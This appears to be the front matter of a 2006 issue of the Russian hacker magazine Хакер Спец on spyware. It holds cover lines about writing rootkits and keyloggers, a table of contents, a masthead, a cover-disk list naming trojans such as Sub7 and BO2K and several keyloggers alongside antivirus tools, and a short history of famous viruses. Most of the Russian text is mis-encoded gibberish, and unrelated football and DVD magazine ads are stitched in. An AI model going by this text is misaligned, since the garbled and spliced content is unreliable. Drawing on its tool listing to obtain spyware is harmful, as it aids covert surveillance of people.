
ÅÆÅÌÅÑß×ÍÛÉ
ÒÅÌÀÒÈ×ÅÑÊÈÉ
ÊÎÌÏÜÞÒÅÐÍÛÉ
ÆÓÐÍÀË

09 70 ÑÅÍÒßÁÐÜ 2006

ÂÑß ÏÐÀÂÄÀ 
Î SPYWARE
ÊÀÊ ÏÈÑÀÒÜ ÐÓÒÊÈÒÛ 34
ÊÀÊ ÑÄÅËÀÒÜ ÍÅÓÁÈÂÀÅÌÛÉ ÊÅÉËÎÃÃÅÐ 40
ÊÀÊ ÑËÅÄÈÒÜ ÇÀ ÁÐÀÓÇÅÐÎÌ 52
ÈÑÕÎÄÍÈÊÈ ÈÈ ÏÏÐÈÌÅÐÛ —— ÍÍÀ ÄÄÈÑÊÅ ÊÊ ÆÆÓÐÍÀËÓ
ÑÏÅÖÈÀËÜÍÛÉ ÐÐÀÇÄÅË —— ÊÊÀÊ ÇÇÀÙÈÒÈÒÜÑß ÎÎÒ ØØÏÈÎÍÎÂ

øøïïèèîîíí 
ââííóóòòððèè



Ïîïðîáóéòå ïîäïèñàòüñÿ â ðåäàêöèè, ïîçâîíèòå íàì.

(ýòî óäîáíåå, ÷åì ïðèíÿòî äóìàòü 

Õàêåð Ñïåö Æåëåçî Ìîáèëüíûå
êîìïüþòåðû

SYNC Ëó÷øèå öèôðî-
âûå êàìåðû

Maxi Tuning

Ñòðàíà Èãð ÐÑ ÈãðûÕàêåð

Total DVD 
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СЕКС НА ЧМ-2006: КТО БУДЕТ ДЕЛАТЬ ЭТО

РОНАЛДИНЬЮ

ВЫДАЕТ СЕКРЕТЫ
АНГЛИЙСКОЙ КОМАНДЫ

ПОБРЕЕТСЯ НАГОЛО,
ЕСЛИ ВЫИГРАЕТ

ПОЧЕМУ ОНА 
ВОЗЬМЕТ ЗОЛОТО 

АРГЕНТИНА

КАК ОТОБРАЛИ МЕДАЛИ У СБОРНОЙ СССР

ДЖОН ТЕРРИ

ОЛЕГ БЛОХИН

37
ИГР

ВСЕ

СБОРНОЙ СССР И РОССИИ
НА ЧЕМПИОНАТАХ МИРААНДРЕЙ ВОРОНИН

ОТДАСТ ЗА ПОБЕДУ 
ПОСЛЕДНЮЮ МАЙКУ

ТАКИМ БРАЗИЛЬЦА ВЫ ЕЩЕ НЕ ВИДЕЛИ 

Onboard Mountain Bike
Action

Õóëèãàí Ñâîé áèçíåñDVD Ýêñïåðò Total Football

Äëÿ ïîäïèñ÷èêîâ â Ìîñêâå êóðüåðñêàÿ
äîñòàâêà ÁÅÑÏËÀÒÍÎ â äåíü âûõîäà æóðíàëà
Äåøåâëå, ÷åì â ðîçíèöó
Ãàðàíòèÿ äîñòàâêè è çàìåíû â ñëó÷àå ïîòåðè
Ñïåöèàëüíûå ïðåäëîæåíèÿ äëÿ ïîäïèñ÷èêîâ
Ïåðâûé íîìåð ïîäïèñêè âûñûëàåòñÿ ïî çâîíêó
âìåñòå ñ çàïîëíåííîé êâèòàíöèåé äëÿ îïëàòû

8-495-780-88-29 (äëÿ Ìîñêâû)

8-800-200-3-999 (äëÿ Ðîññèè)

ÂÑÅ ÇÂÎÍÊÈ ÁÅÑÏËÀÒÍÛÅ
Ìû ðàáîòàåì ñ 9 äî 18 ïî ðàáî÷èì äíÿì

:)



Çíàíèå — ñèëà! Â íàøå âðåìÿ âñå ñëåäÿò 
çà âñåìè è çíàíèÿ î ÷óæèõ çíàíèÿõ èëè î ÷óæèõ
çíàíèÿõ î òâîèõ íåçíàíèÿõ — õîðîøî. 
À âîò çíàíèÿ ÷óæèõ î òâîèõ çíàíèÿõ 
èëè íåçíàíèÿõ èëè òâîå íåçíàíèå î ÷óæèõ
çíàíèÿõ — îäíîçíà÷íî ïëîõî, ïîýòîìó ìíîãèå
ëþäè ñòðåìÿòñÿ ïîñòîÿííî ïîäíÿòü ñâîé óðîâåíü
êîìïåòåíòíîñòè â ÷óæèõ âîïðîñàõ. Îáû÷íî, 
íå îñîáî çàêîííûìè ñïîñîáàìè. Âîò íàïðèìåð
ðàçíûå êîìïàíèè î÷åíü õîòÿò çíàòü, íà êàêèå
ñàéòû òû õîäèøü è ÷òî òàì äåëàåøü. 
Ýòî èññëåäîâàíèÿ, ýòî ñòàòèñòèêà, ýòî äåíüãè.
Îíè àêòèâíî ïîäñàæèâàþò íà íàøè êîìïüþòåðû
ñâîè ñïàéâàðíûå BHO. À ìû — ðàññêàæåì òåáå
îá ýòîì! Êîíå÷íî, ïîäðîáíî è ñ èñõîäíèêàìè. 
À çëûå õàêåðû ïèøóò íåâèäèìûå ïðîãðàììû 
ñ òóìàííûìè ôóíêöèÿìè. À ìû óçíàåì! Óçíàåì,
êàê ëîâêî ó íèõ ýòî ïîëó÷àåòñÿ.

Êòî-òî õèòðûé è áîëüøîé õî÷åò ïðî÷åñòü 
âñå òî, ÷òî òû ïå÷àòàåøü íà êëàâèàòóðå? 
Äàæå ÂÈÐÒÓÀËÜÍÀß êëàâèàòóðà íå ñïàñàåò? 
À ìû ðàññêàæåì ÂÑÅ íå òîëüêî î òîì, êàê ïèøóò
êåéëîããåðû, íî è ðàññìîòðèì ñïîñîáû áîðüáû 
ñ íèìè! À ÷òî æå íàñ÷åò áîòíåòîâ? Âåäü ýòî òàê
ìîäíî â íàøå âðåìÿ! Ïîñìîòðèì, ÷òî æå íàì 
äàñò òåõíîëîãèÿ .NET â ýòîì ïëàíå.

Àëåêñàíäð Ëîçîâñêèé

intro



Ìíåíèå ðåäàêöèè íå âñåãäà ñîâïàäàåò ñ ìíåíèåì àâòîðîâ. 
Âñå ìàòåðèàëû  ýòîãî íîìåðà ïðåäñòàâëÿþò ñîáîé ëèøü èíôîðìàöèþ ê ðàçìûøëåíèþ.
Ðåäàêöèÿ íå íåñåò îòâåòñòâåííîñòè çà íåçàêîííûå äåéñòâèÿ, ñîâåðøåííûå 
ñ åå èñïîëüçîâàíèåì, è âîçìîæíûé ïðè÷èíåííûé óùåðá.
Çà ïåðåïå÷àòêó íàøèõ ìàòåðèàëîâ áåç ñïðîñà — ïðåñëåäóåì.

ÐÅÄÀÊÖÈß
Ãëàâíûé ðåäàêòîð 
Íèêîëàé «AvaLANche» ×åðåïàíîâ (avalanche@real.xakep.ru)
Âûïóñêàþùèå ðåäàêòîðû 
Àëåêñàíäð «Dr.Klouniz» Ëîçîâñêèé (alexander@real.xakep.ru)
Àíäðåé Êàðîëèê (andrusha@real.xakep.ru)
Ðåäàêòîð CD/OFFTOPIC
Èâàí «SkyWriter» Êàñàòåíêî (sky@real.xakep.ru)
Ëèòåðàòóðíûé ðåäàêòîð 
Íàñòÿ Ãëóõîâà
Àðò-äèðåêòîð
Èâàí Âàñèí (vasin@real.xakep.ru)
Äèçàéíåð
Íàòàëüÿ Æóêîâà (zhukova@real.xakep.ru)
Öâåòîêîððåêòîð
Àëåêñàíäð Êèñåëåâ

OÒÄÅË ÐÅÊËÀÌÛ
Äèðåêòîð ïî ðåêëàìå
Èãîðü Ïèñêóíîâ (igor@gameland.ru)
Ðóêîâîäèòåëü îòäåëà ðåêëàìû öèôðîâîé ãðóïïû
Îëüãà Áàñîâà (olga@gameland.ru)
Ìåíåäæåðû îòäåëà
Îëüãà Eìåëüÿíöåâà (olgaeml@gameland.ru)
Åâãåíèÿ Ãîðÿ÷åâà (goryacheva@gameland.ru)
Îêñàíà Àëåõèíà (alekhina@gameland.ru)
òåë.:   (495) 935.70.34
ôàêñ: (495) 780.88.24

ÎÒÄÅË ÄÈÑÒÐÈÁÓÖÈÈ
Äèðåêòîð îòäåëà äèñòðèáóöèè è ìàðêåòèíãà 
Âëàäèìèð Ñìèðíîâ (vladimir@gameland.ru)
Îïòîâîå ðàñïðîñòðàíåíèå 
Àíäðåé Ñòåïàíîâ (andrey@gameland.ru)
Ïîäïèñêà 
Àëåêñåé Ïîïîâ (popov@gameland.ru)
Ðåãèîíàëüíîå ðîçíè÷íîå ðàñïðîñòðàíåíèå
Òàòüÿíà Êîøåëåâà (kosheleva@gameland.ru)
òåë.:   (495) 935.70.34
ôàêñ: (495) 780.88.24

ÈÍÔÎÐÌÀÖÈß Î ÂÀÊÀÍÑÈßÕ
ÈÇÄÀÒÅËÜÑÒÂÀ «ÃÅÉÌ ËÝÍÄ»
Ìåíåäæåð îòäåëà ïî ðàáîòå ñ ïåðñîíàëîì 
Ìàðèíà Íàõàëîâà (nahalova@gameland.ru)
òåë.:   (495) 935.70.34 (äîá. 454)

ÈÇÄÀÒÅËÜÑÒÂÎ «ÃÅÉÌ ËÅÍÄ»
Ãåíåðàëüíûé Äèðåêòîð
Äìèòðèé Àãàðóíîâ (dmitri@gameland.ru)
Óïðàâëÿþùèé Äèðåêòîð
Äàâèä Øîñòàê (shostak@gameland.ru)
Äèðåêòîð ïî ðàçâèòèþ
Ïàøà Ðîìàíîâñêèé (romanovski@gameland.ru)
Äèðåêòîð ïî ïåðñîíàëó
Ìèõàèë Ñòåïàíîâ (stepanovm@gameland.ru)
Ôèíàíñîâûé äèðåêòîð
Åëåíà Äèàíîâà (dianova@gameland.ru)
Èçäàòåëü öèôðîâîé ãðóïïû
Áîðèñ Ñêâîðöîâ (boris@gameland.ru)
Ðåäàêöèîííûé äèðåêòîð öèôðîâîé ãðóïïû
Àëåêñàíäð Ñèäîðîâñêèé (sidorovsky@gameland.ru)

ÈÍÔÎÐÌÀÖÈß Î ÏÎÄÏÈÑÊÅ
Áåñïëàòíûé òåë.: 8 (800) 200-3-999

ÄËß ÏÈÑÅÌ
101000, Ìîñêâà, Ãëàâïî÷òàìò, à/ÿ 652, Õàêåð Ñïåö
spec@real.xakep.ru 

Îòïå÷àòàíî â òèïîãðàôèè «ScanWeb», Ôèíëÿíäèÿ
Çàðåãèñòðèðîâàíî â Ìèíèñòåðñòâå Ðîññèéñêîé Ôåäåðàöèè 
ïî äåëàì ïå÷àòè, òåëåðàäèîâåùàíèþ 
è ñðåäñòâàì ìàññîâûõ êîììóíèêàöèé 
ÏÈ ¹  77-12014 îò 4 ìàðòà 2002 ã.
Òèðàæ 42 000 ýêçåìïëÿðîâ. 
Öåíà äîãîâîðíàÿ.

Å Æ Å Ì Å Ñ ß × Í Û É  
Ò Å Ì À Ò È × Å Ñ Ê È É  
Ê Î Ì Ï Ü Þ Ò Å Ð Í Û É  
Æ Ó Ð Í À Ë  

0 9 | 7 0 | 2 0 0 6
W W W . X A K E P . R U

ØÊÎËÀ ÐÀÇÂÅÄ×ÈÊÀ

•8 ÊÎÃÄÀ ÍÀÑÒÓÏÈÒ ÇÀÂÒÐÀ
àòàêè áóäóùåãî

•12 ÀÐÑÅÍÀË ÀÃÅÍÒÀ
îáçîð òîïîâîãî øïèîíñêîãî âàðåçà

•18 ÑÌÅÐÒÅËÜÍÀß ÌÎÁÈËÜÍÎÑÒÜ
sms ñïàì

•24 ØÏÈÎÍÑÊÈÅ ÈÃÐÛ
âñÿ ïðàâäà î spyware

•28 ÀÃÅÍÒÓÐÍÀß ÑÅÒÜ
áîòíåò

•30 ËÎÂËß ÍÀ ÆÈÂÖÀ
ôèøèíã

ÁÎÅÂÎÅ ÊÐÅÙÅÍÈÅ

•34 ÂÐÀÃ ÍÅÂÅÄÎÌ
ðóòêèòû è àíòèðóòêèòû 

•40 ×ÈÒÀÉ ÏÎ ÐÓÊÀÌ
êëàâèàòóðíûå øïèîíû

•46 Â ÏÐßÒÊÈ Ñ ÁÎÍÄÎÌ
ñïîñîáû ñîêðûòèÿ êîäà â ñèñòåìå

•52 ÏÎÄ ÍÀÁËÞÄÅÍÈÅÌ
ïèøåì spyware íà îñíîâå bho

•56 ÄÅÒÈ ØÏÈÎÍÎÂ
óïðàâëåíèå áîòíåòîì ïî-íîâîìó

ÑÌÅÐÒÜ ØÏÈÎÍÀÌ

•60 Â ÖÅËßÕ ÑÀÌÎÇÀÙÈÒÛ
ñîçäàíèå àíòèñïàéâàðà ñîáñòâåííûìè ðóêàìè

•68 ÐÀÇÎÁËÀ×ÅÍÈÅ
âûÿâëåíèå âðåäîíîñíîãî ïî

•72 ÓÌÍÀß ÑËÅÆÊÀ
îáçîð anti-spi.info

•76 ÓÌÐÈ, ÍÎ ÍÅ ÑÅÉ×ÀÑ
îñíîâíûå óÿçâèìûå ìåñòà ðÿäîâîãî spyware

SPECIAL DELIVERY

•80 SPECIAL ÈÍÒÅÐÂÜÞ
èíòåðâüþ ñ Îëåãîì Çàéöåâûì

•82 SPECIAL ÎÁÇÎÐ 
îáçîð ñàéòîâ ïî òåìå íîìåðà

•84 SPECIAL ÎÏÐÎÑ
ìíåíèÿ ïðîôåññèîíàëîâ

•88 SPECIAL FAQ
âîïðîñû ýêñïåðòó



HARD 

•88 LCD 20+
òåñò æê-ìîíèòîðîâ ñ äèàãîíàëüþ áîëåå 20 äþéìîâ

•82 ÇÓÕÅËÜ, ÊÎÍÍÅÊÒ!
òåñòèðóåì Zyxel P-660RU E

SOFT 

•80 NONAME
íàèñâåæàéøèå ïðîãðàììû îò nnm.ru

•82 ÀÄÌÈÍÈÍÃ
íàñòðîéêà àíòèâèðóñà Êàñïåðñêîãî. ×àñòü2

CREW 

•86 E-ÌÛËÎ
ïèøèòå ïèñüìà!

STORY 

•88 ÐÀÑÑÊÀÇ
õàêåð: ãðàæäàíñêàÿ êàçíü

•95 ÈÑÕÎÄÍÈÊÈ ÂÑÅËÅÍÍÎÉ
ïðîãðàììèðîâàíèå — ñ æåíîé èëè áåç

offtopic

ÎËÅÃ ÇÇÀÉÖÅÂ
ÑÏÅÖÈÀËÈÑÒ ÏÎ
ÈÍÔÎÐÌÀÖÈÎÍÍÎÉ
ÁÅÇÎÏÀÑÍÎÑÒÈ.
ØÏÈÎÍÑÊÈÌ
ÑÎÔÒÎÌ,
ÒÐÎßÍÀÌÈ È
ÐÓÒÊÈÒÀÌÈ
ÇÀÈÍÒÅÐÅÑÎÂÀËÑß
ÏÎ ÄÎËÃÓ ÑËÓÆÁÛ,
×ÒÎ Â ÐÅÇÓËÜÒÀÒÅ
ÂÛËÈËÎÑÜ Â
ÑÎÇÄÀÍÈÅ
ÏÓÁËÈ×ÍÎÃÎ
ÏÐÎÄÓÊÒÀ — AVZ
(ÀÍÒÈÂÈÐÓÑÀ
ÇÀÉÖÅÂÀ)



ÑÒÀÐØÈÉ ÁÐÀÒ ÑËÅÄÈÒ ÇÀ ÒÎÁÎÉ. ÒÛ ÄÅËÀÅØÜ 

ØÀÃ È ÑËÛØÈØÜ ÅÃÎ ÄÛÕÀÍÈÅ ÇÀ ÑÏÈÍÎÉ. 

ÂÑÒÀÍÜ ÍÀ ÑÒÓÏÅÍÜ ÂÛØÅ: ÎÁÅÐÍÈÑÜ, ÏÎÉÌÀÉ 

ÅÃÎ ÇÀ ÐÓÊÓ È ÇÀÙÈÒÈÑÜ ÎÒ ÍÅÃÎ! À ÅÙÅ ËÓ×ØÅ —

ÑÒÀÍÜ ÈÌ ÑÀÌ. È Â ÝÒÎÌ ÒÅÁÅ ÒÎ×ÍÎ ÏÎÌÎÆÅÒ 

ÑÎÔÒ Ñ ÍÀØÅÃÎ ÄÈÑÊÀ.

ÑÎÔÒ
Actual Spy 2.8

BO2K 1.1.3 (core)

Blowfish äëÿ BO2K

Ricq äëÿ BO2K

Mobile Access Control 4.0 Pro

Remote Administrator 2.2

TightVNC 1.3dev7

Sub7 2.1.5

Family Key Logger v2.83

Personal Desktop Spy v2.10

Golden Keylogger v1.32

Give Me Too v2.46

Personal Inspector v5.00

SpyArsenal Print Monitor Pro

Quick Keylogger v2.1

Handy Keylogger v3.25.032

Widestep Elite Keylogger v3.0

ÀÍÒÈÑÎÔÒ
Anti-Spy.Info 1.6

Advanced Anti Keylogger v3.7 (Lite)

Anti-keylogger v7.3

PrivacyKeyboard v7.3

Trend Micro Anti-Spyware 3.0

DrWeb 4.33

Ad-Aware SE Pro

Kaspersky AntiVirus äëÿ Symbian (Nokia)

Microsoft Windows Defender Beta

Norton AntiVirus 2007 Beta

Norton Internet Security 2006

Kaspersky Anti-Virus 6.0

Kaspersky Internet Security 6.0

AVZ 4.19

Agnitum Outpost Firewall Pro 3.51

ZoneLabs ZoneAlarm 6.5.731 (Free/Pro)

ZoneLabs Internet Security Suite

ÓÒÈËÈÒÛ
IceExt 0.70

COBA PC

PE Tools v1.5.400.2003 Xmas Edition

TheBat! Pro v3.80 (+help)

SDTrestore v0.2

Íàáîð óòèëèò îò Wasm.Ru

icedump 6.026 & nticedump 1.14

Process Explorer v10.2

GetDataBack äëÿ NTFS

ÑÎÔÒ 
ÎÒ NONAME
Chat Watch v4.4.5

HDD Regenerator v1.51

McFunSoft Video Convert Master 6.3

Online Armor v1.1.1.826

Sunbelt Network Security 

Inspector v1.6.57.0

Keyboard Maniac 4.2

NeuroSolutions v5.03 Developer Edition

Amor SWF to Video Converter 2.3.8

Secure iNet Factoy v5.8 for Java

php2exe

Fresh Diagnose v7.38

AVG Free Edition 7.1.405

PIMone Ver 5.1 Build:2006.7.4.145

09(70)СЕНТЯБРЬ 2006 

MULT IBOOTABLE

Софт
Антисофт
Утилиты
Софт от NoNaMe

в том числе:
Norton Internet Security 2006
Kaspersky Anti-Virus 6.0
Widestep Elite Keylogger v3.0

Обновления Windows 
(9x/XP/NT/2000/2003)
Спец 07(68), Админ всея сети

c
d:



Думаешь, что посмотреть сегодня вечером?
Выбираем кино с TOTAL DVD! 

Все о кино – читай о блокбастерах месяца, размышляй о лентах 
вместе со звездами, выбирай на какой сеанс пойти

•
Все о DVD – самые лучшие релизы месяца, более 50 обзоров, море 

интервью
•

...и немного о технологиях будущего! Телевидение высокой 
четкости, плазмы и многое другое!

Total DVD – ультимативный журнал для киноманов! 
Каждый журнал комплектуется DVD-приложением с великолепным 

полнометражным фильмом категории «А» (качество изображения и звука 
на диске соответствует лучшим мировым релизам), подборкой трейлеров и 

анонсов новых картин и роликами к DVD-релизам.

Ищешь себе технику для домашнего кинотеатра?
«DVD Эксперт» – самый лучший гид по аудио- 
видео- новинкам! 
Все о Hi-Fi, High End и Home Cinema!
•
Пошаговые инструкции по составлению и инсталляции системы 
домашнего кино
•
Лучшие системы и компоненты месяца – рай для новичков. 
Более 50 самых новых моделей в оценочных и сравнительных тестах
•
Готовые системы, интервью, самые свежие новости индустрии
Всегда на лезвии прогресса! 

Выбираем домашний кинотеатр с журналом «DVD Эксперт»! 
Сейчас это стильно, это модно, это доступно, это просто!  
Каждый журнал комплектуется DVD-приложением с великолепным 
полнометражным фильмом категории «А» (качество изображения и звука на диске 
соответствует лучшим мировым релизам) и тестами для настройки системы хоум 
синема.



Ïîÿâèëèñü ïåðâûå ðóòêèòû, íî ñåé-
÷àñ èõ êîëè÷åñòâî â ðàçû áîëüøå.
Áûñòðîìó ðàçâèòèþ ðóòêèòîâ ñïî-
ñîáñòâóåò øèðîêîå ðàñïðîñòðàíåíèå
ïðîãðàììíîãî îáåñïå÷åíèÿ ñ îòêðû-
òûì êîäîì. Íà ñàéòàõ ðàçðàáîò÷èêîâ
ÏÎ è â áëîãàõ ñîäåðæèòñÿ îãðîìíîå
êîëè÷åñòâî ïðîãðàììíûõ ñòðîê äëÿ
ðóòêèòîâ, ÷òî î÷åíü óïðîùàåò ñîçäà-
íèå âðåäîíîñíûõ ôàéëîâ äàæå áåç
ãëóáîêèõ çíàíèé îá àòàêóåìûõ îïåðà-
öèîííûõ ñèñòåìàõ.

Âèðóñ Win32.CIH â íàðîäå áûë èçâå-
ñòåí êàê «×åðíîáûëü», òàê êàê îäíà
èç åãî âåðñèé àêòèâèðîâàëàñü 26 àï-
ðåëÿ, â ãîäîâùèíó àâàðèè íà àòîìíîé
ýëåêòðîñòàíöèè. Åãî äëèíà íåìíîãèì
áîëåå 1 Êá, à ïîñëåäñòâèÿ — êàòà-
ñòðîôè÷åñêèå. Îí «æèë» â Windows
95/98 è æäàë ñðàáàòûâàíèÿ ëîãè÷å-
ñêîé áîìáû: â îïðåäåëåííûé ìîìåíò
âèðóñ àêòèâèðîâàëñÿ, ñòèðàë ñîäåð-
æèìîå æåñòêîãî äèñêà, è â íåêîòîðûõ
ñëó÷àÿõ ïðè ñòèðàíèè Flash BIOS
íóæíî áûëî äàæå ìåíÿòü ìàòåðèí-
ñêóþ ïëàòó. Ñíà÷àëà î ïîâðåæäå-
íèÿõ, íàíåñåííûõ ýòèì âèðóñîì, çà-
ãîâîðèëè â Þãî-Âîñòî÷íîé Àçèè, â
ÑØÀ è ðÿäå äðóãèõ ñòðàí. Ó íàñ ýòîò
âèðóñ áûë îáíàðóæåí ïîçæå, êîãäà ïî
ñòðàíå ðàñïðîñòðàíèëèñü ïèðàòñêèå
CD ñ ïîïóëÿðíûìè êîìïüþòåðíûìè
èãðàìè è ïðîãðàììàìè, çàðàæåííû-
ìè ýòèì âèðóñîì.

1986

OneHalf — ðåçèäåíòíûé ôàéëîâî-
çàãðóçî÷íûé ïîëèìîðôèê. Îí çàðà-
æàåò MBR âèí÷åñòåðà, à ïðè çàãðóç-
êå ñ çàðàæåííîãî âèíòà ïåðåõâàòû-
âàåò INT 13h, 1Ch, 21h è çàïèñûâàåò-
ñÿ â COM- è EXE-ôàéëû ïðè îáðà-
ùåíèè ê íèì. Òðóäíîñòü â òîì, ÷òî
êîä ðàñøèôðîâùèêà âèðóñà ðàçáðî-
ñàí ïî âñåìó ôàéëó ñî ñëó÷àéíûìè
ñìåùåíèÿìè. Òî åñòü ñèäèò òèõî è
òàéêîì ãóáèò òâîé âèíò. Ïðè ïåðâîé
çàãðóçêå ñ çàðàæåííîãî âèíòà øè-
ôðóåò äâà ïîñëåäíèõ öèëèíäðà äèñ-
êà, ïðè ñëåäóþùåé çàãðóçêå — åùå
äâà è ò.ä. Êîãäà êîëè÷åñòâî çàøè-
ôðîâàííûõ öèëèíäðîâ äîñòèãàëî
ðîâíî ïîëîâèíû, âèðóñ âûäàåò:
«Disk is one half. Press any key to con-
tinue» — îòñþäà è íàçâàíèå...

1994

1998

1995

Íà÷àëàñü ýðà ìàêðîâèðóñîâ ñ ïî-
ÿâëåíèÿ Word.Concept, îáèòàþùåãî
â 6-îì Word’e è Windows 3.1. Âûïóñê
Windows 95 ïåðåêðûë êèñëîðîä ìíî-
ãèì DOS-âèðóñàì, íî òîëüêî íå çëîá-
íûì ìàêðîñàì, æèâó÷åñòü êîòîðûõ
îêàçàëàñü äëÿ Microsoft íåïðèÿòíûì
ñþðïðèçîì. Ìàêðîâèðóñû îêàçàëèñü
ïîáî÷íûì ýôôåêòîì èäåè òîòàëüíîé
àâòîìàòèçàöèè ïðèëîæåíèé. Äà, àâ-

òîìàòèçàöèÿ — î÷åíü óäîáíàÿ øòó-
êà. Òîëüêî âîò ïðîáëåìà â òîì, ÷òî
íåò íèêàêèõ îãðàíè÷èòåëåé. À ïðè÷è-
íà âñåõ áåä — ÿäðî àâòîìàòèçàöèè,
Visual Basic for Application (VBA). Ñå-
ãîäíÿ îí åñòü ôàêòè÷åñêè íà êàæäîì
Windows-êîìïüþòåðå â ñîñòàâå ïî-
ïóëÿðíûõ ïðèëîæåíèé, îòñþäà è áëà-
ãîïðèÿòíûå óñëîâèÿ äëÿ âèðóñíûõ
ýïèäåìèé.

Àíäðåé Êàðîëèê 
andrusha@real.xakep.ru

timeline



Ìàññîâûå âîëíåíèÿ âûçâàë ÷åðâü
ILOVEYOU. Íà êîìïüþòåðû îí ïîïà-
äàë â âèäå ïèñüìà ñ ïðèêðåïëåííûì
VBS-ôàéëîì (òåëî ÷åðâÿ). Åñëè ïîëü-
çîâàòåëü îòêðûâàåò ïðèêðåïëåííûé
ôàéë, ÷åðâü ïåðâûì äåëîì áðîñàåò-
ñÿ â àäðåñíóþ êíèãó è ðàññûëàåò ïî
âñåì àäðåñàì ñâîþ êîïèþ. Çàòåì âè-
ðóñ ïðîïèñûâàåòñÿ â àâòîçàãðóçêó
ñèñòåìíîãî ðååñòðà, ÷òîáû àêòèâè-
çèðîâàòüñÿ ïðè êàæäîé ïåðåçàãðóç-
êå ñèñòåìû. Â ñâîáîäíîå îò ðàáîòû
âðåìÿ ÷åðâÿ÷îê èñêàë îïðåäåëåí-
íûå ôàéëû íà âñåõ äîñòóïíûõ äèñ-
êàõ, çàïèñûâàÿ â íèõ ñâîþ êîïèþ.
Îí áûë äàæå çàíåñåí â «Êíèãó ðå-
êîðäîâ Ãèííåñà», êàê ñàìûé ðàçðó-
øèòåëüíûé â ìèðå. Ñàì âèðóñ áûë
âïîëíå áåçîáèäåí, íî åãî ëàâèíîîá-
ðàçíîå ðàñïðîñòðàíåíèå ïîçâîëÿëî
âûâåñòè èç ñòðîÿ ëþáóþ ïî÷òîâóþ
ñèñòåìó.

Ïðîøëî 20 ëåò ñ ìîìåíòà ïîÿâëåíèÿ
ïåðâîãî âèðóñà äëÿ ïåðñîíàëîê. Ïðà-
âäà, 20 ëåò íàçàä îñíîâíûì ñðåä-
ñòâîì ðàñïðîñòðàíåíèÿ çëîíàìåðåí-
íîãî ÏÎ áûëè â îñíîâíîì äèñêåòû, íà
êîòîðûõ ðàñïðîñòðàíÿëîñü 99% ïðî-
ãðàìì. È áäèòåëüíîñòü áûëà âåñüìà
ýôôåêòèâíûì ñðåäñòâîì áîðüáû. Íî
ñ ïîÿâëåíèåì ÎÑ Windows â íà÷àëå
äåâÿíîñòûõ ïîëüçîâàòåëè ïî-íàñòîÿ-
ùåìó óçíàëè, ÷òî òàêîå êîìïüþòåð-
íûé âèðóñ, è êàê åãî «ïîäõâàòèòü». 

2004

1999 2000

Ïðîãðàììà Back Orifice (ÂÎ) îò õàêå-
ðîâ èç ãðóïïû Cult of the Dead Cow
âûçâàëà ìàññîâóþ èñòåðèþ. Íè îäèí
ëàìåð áîëüøå íå ÷óâñòâîâàë ñåáÿ â
áåçîïàñíîñòè. Îäíè íàçûâàëè åå îò-
ìû÷êîé, äðóãèå — èíñòðóìåíòîì
óäàëåííîãî àäìèíèñòðèðîâàíèÿ.
Ñóòü áûëà â ñëåäóþùåì. Ïðîíèêàÿ â
êîìïüþòåð, ïðîãðàììà ïîçâîëÿëà
äåëàòü ñ íèì âñå, ÷òî óãîäíî. Äëÿ
ýòîãî áûëî äîñòàòî÷íî îäèí ðàç çà-
ïóñòèòü íà êîìïüþòåðå-æåðòâå èñ-
ïîëíÿåìûé ôàéë ðàçìåðîì ÷óòü áî-
ëåå 125 Êá. Ïîñëå ýòîãî ñåðâåð Back
Orifice íàâñåãäà ïîñåëÿåòñÿ â ñèñòå-
ìå, íå îáíàðóæèâàÿ ñåáÿ â ñïèñêå çà-
äà÷. À ëèøíèé ôàéë áûëî äîñòàòî÷-
íî òðóäíî íàéòè â ïàïêå windows\sy-
stem\ ñðåäè ñîòåí äðóãèõ. Íî ãëàâíîå
áûëî â òîì, ÷òî, ïîìèìî èñïîëíÿåìî-
ãî ôàéëà, ãðóïïà âûëîæèëà äëÿ âñå-
îáùåãî äîñòóïà è BO2k SDK. Â èòîãå
ó êàæäîãî ïîÿâèëàñü âîçìîæíîñòü
íàïèñàòü ñîáñòâåííîå äîïîëíåíèå ê
ïðîãðàììå èëè èçìåíèòü ñàìó ïðî-
ãðàììó ïîä ñâîè êîíêðåòíûå íóæäû.

Ôèøèíã òîëüêî çàðîæäàëñÿ, è ïðîöâå-
òàëà ñàìàÿ ïðîñòàÿ è ïîïóëÿðíàÿ åãî
ôîðìà — «E-mail fraud». Ïîëüçîâà-
òåëü ïîëó÷àåò ïèñüìî, ãäå áàíê ïðîñèò
ïîäòâåðäèòü ïåðñîíàëüíûå äàííûå.
Íè÷åãî íå ïîäîçðåâàÿ, ïðîñòîé êàê
äâå êîïåéêè ïîëüçîâàòåëü îòâå÷àåò è
òåì ñàìûì ñîîáùàåò ñâîè äàííûå
çëîóìûøëåííèêàì, êîòîðûå, êñòàòè,
ñîâåðøåííî íå â êóðñå, ÷òî ïîëüçîâà-
òåëü ÿâëÿåòñÿ êëèåíòîì èìåííî ýòîãî

áàíêà. Îíè íàóäà÷ó çàïóñêàþò ñïàì-
îâóþ ðàññûëêó îò èìåíè èçâåñòíûõ
áàíêîâ, àâîñü äà è êëþíåò ðûáêà (îò-
ñþäà è íàçâàíèå). Ñåãîäíÿ ïîëüçîâà-
òåëü ãîðàçäî îñìîòðèòåëüíåå è íå
ñïåøèò îòâå÷àòü íà êàæäóþ ïðîñüáó î
ïîäòâåðæäåíèè ïåðñîíàëüíûõ ñâåäå-
íèé. Õîòÿ çäåñü è çàñëóãà áàíêîâ, êî-
òîðûå âûíóæäåíû ïîñòîÿííî íàïîìè-
íàòü ñâîèì êëèåíòàì, ÷òîáû îíè íå
ïîääàâàëèñü íà óëîâêè.

2006



Îáû÷íî, êîãäà òàêèå ïðîãíîçû âñòðå÷àþòñÿ â ïðåñ-
ñå, îíè íèêàê íå ñâÿçàíû ñ îêðóæàþùèì ìèðîì. 
À âåäü àòàêè ïîÿâëÿþòñÿ è ýâîëþöèîíèðóþò íå ñà-
ìè ïî ñåáå. Íàïðèìåð, RFID-âèðóñû íèêîãäà áû íå
ïîÿâèëèñü, íå áóäü òàêîé øóìèõè âîêðóã ñàìîé
RFID-òåõíîëîãèè. Ïîýòîìó äàâàé íà÷íåì ðàññêàç
íå ñ áóäóùåãî óãðîç, à ñ áóäóùåãî ÈÒ-òåõíîëîãèé 
è ñïîñîáîâ âåäåíèÿ áèçíåñà, êîòîðûå è ÿâëÿþòñÿ äðàé-
âåðàìè äëÿ ïîÿâëåíèÿ íîâûõ ìåòîäîâ àòàêóþùèõ.

×åãî õî÷åò ðóêîâîäèòåëü ëþáîé êîìïàíèè,
íå âçèðàÿ íà åå ðàçìåðû è ñôåðó äåÿòåëüíîñòè?
